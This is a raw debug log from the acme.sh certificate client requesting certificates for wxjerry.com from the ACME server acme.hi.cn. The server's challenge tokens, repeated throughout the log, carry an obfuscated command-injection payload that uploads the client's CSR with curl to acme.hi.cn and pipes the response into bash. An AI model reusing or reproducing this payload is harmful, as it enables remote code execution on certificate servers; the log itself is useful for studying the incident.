[Wed Apr 12 01:09:09 PDT 2023] response='{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":"wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#"},{"type":"http-01","url":"../pki-validation","status":"pending","token":"dd#acme.hi.cn/acme/v2/precheck-http/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/69651/108468?o=$_w|bash)#"}],"value":"wxjerry.com","wildcard": false}' [Wed Apr 12 01:09:09 PDT 2023] response='{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":"wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#"},{"type":"http-01","url":"../pki-validation","status":"pending","token":"dd#acme.hi.cn/acme/v2/precheck-http/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/69651/108468?o=$_w|bash)#"}],"value":"wxjerry.com","wildcard": false}' [Wed Apr 12 01:09:09 PDT 2023] _d='wxjerry.com wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] _authorizations_map='wxjerry.com wxjerry.com,{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":"wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#"},{"type":"http-01","url":"../pki-validation","status":"pending","token":"dd#acme.hi.cn/acme/v2/precheck-http/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/69651/108468?o=$_w|bash)#"}],"value":"wxjerry.com","wildcard": false} .wxjerry.com,{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":".wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#" ' [Wed Apr 12 01:09:09 PDT 2023] d='.wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] Getting webroot for domain='.wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] _w='dns_ali' [Wed Apr 12 01:09:09 PDT 2023] _currentRoot='dns_ali' [Wed Apr 12 01:09:09 PDT 2023] _is_idn_d='.wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] _idn_temp [Wed Apr 12 01:09:09 PDT 2023] _candidates='.wxjerry.com,{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":".wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#"' [Wed Apr 12 01:09:09 PDT 2023] response='{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":".wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#"' [Wed Apr 12 01:09:09 PDT 2023] entry='"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#"' [Wed Apr 12 01:09:09 PDT 2023] token='dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#' [Wed Apr 12 01:09:09 PDT 2023] uri='../pki-validation' [Wed Apr 12 01:09:09 PDT 2023] keyauthorization='dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#.RtYwQpvIqqxy0BiXiP8qair6zGUBFuzehnB4TLsOfEE' [Wed Apr 12 01:09:09 PDT 2023] dvlist='.wxjerry.com#dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#.RtYwQpvIqqxy0BiXiP8qair6zGUBFuzehnB4TLsOfEE#../pki-validation#dns-01#dns_ali' [Wed Apr 12 01:09:09 PDT 2023] d='wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] Getting webroot for domain='wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] _w='dns_ali' [Wed Apr 12 01:09:09 PDT 2023] _currentRoot='dns_ali' [Wed Apr 12 01:09:09 PDT 2023] _is_idn_d='wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] _idn_temp [Wed Apr 12 01:09:09 PDT 2023] _candidates='wxjerry.com,{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":"wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#"},{"type":"http-01","url":"../pki-validation","status":"pending","token":"dd#acme.hi.cn/acme/v2/precheck-http/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/69651/108468?o=$_w|bash)#"}],"value":"wxjerry.com","wildcard": false}' [Wed Apr 12 01:09:09 PDT 2023] response='{"status":"pending","expires":"2024-04-12T16:09:33Z","identifier":{"type":"dns","value":"wxjerry.com"},"challenges":[{"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#"},{"type":"http-01","url":"../pki-validation","status":"pending","token":"dd#acme.hi.cn/acme/v2/precheck-http/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/69651/108468?o=$_w|bash)#"}],"value":"wxjerry.com","wildcard": false}' [Wed Apr 12 01:09:09 PDT 2023] entry='"type":"dns-01","url":"../pki-validation","status":"pending","token":"dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#"' [Wed Apr 12 01:09:09 PDT 2023] token='dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#' [Wed Apr 12 01:09:09 PDT 2023] uri='../pki-validation' [Wed Apr 12 01:09:09 PDT 2023] keyauthorization='dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#.RtYwQpvIqqxy0BiXiP8qair6zGUBFuzehnB4TLsOfEE' [Wed Apr 12 01:09:09 PDT 2023] dvlist='wxjerry.com#dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#.RtYwQpvIqqxy0BiXiP8qair6zGUBFuzehnB4TLsOfEE#../pki-validation#dns-01#dns_ali' [Wed Apr 12 01:09:09 PDT 2023] d [Wed Apr 12 01:09:09 PDT 2023] vlist='.wxjerry.com#dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108465#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)#.RtYwQpvIqqxy0BiXiP8qair6zGUBFuzehnB4TLsOfEE#../pki-validation#dns-01#dns_ali,wxjerry.com#dns-01#acme.hi.cn/acme/v2/precheck-dns/69651/108468#http-01#/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108468?o=$_w|bash)#.RtYwQpvIqqxy0BiXiP8qair6zGUBFuzehnB4TLsOfEE#../pki-validation#dns-01#dns_ali,' [Wed Apr 12 01:09:09 PDT 2023] d='.wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] d='wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] ok, let's start to verify [Wed Apr 12 01:09:09 PDT 2023] Verifying: .wxjerry.com [Wed Apr 12 01:09:09 PDT 2023] d='*.wxjerry.com' [Wed Apr 12 01:09:09 PDT 2023] keyauthorization='dns-01' [Wed Apr 12 01:09:09 PDT 2023] uri='acme.hi.cn/acme/v2/precheck-dns/69651/108465' [Wed Apr 12 01:09:09 PDT 2023] _currentRoot='/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)' [Wed Apr 12 01:09:09 PDT 2023] wellknown_path='/tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)/.well-known/acme-challenge' [Wed Apr 12 01:09:09 PDT 2023] writing token:dns-01 to /tmp/$(curlIFS=^;cmd=base64^-d;$cmd<<<IA==-sFIFS=^;cmd=base64^-d;$cmd<<<IA==csr=@$csrIFS=^;cmd=base64^-d;$cmd<<<IA==https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/dns/69651/108465?o=$_w|bash)/.well-known/acme-challenge/dns-01 [Wed Apr 12 01:09:09 PDT 2023] Changing owner/group of .well-known to root:root /usr/local/bin/acme.sh: eval: line 1: syntax error: unexpected redirection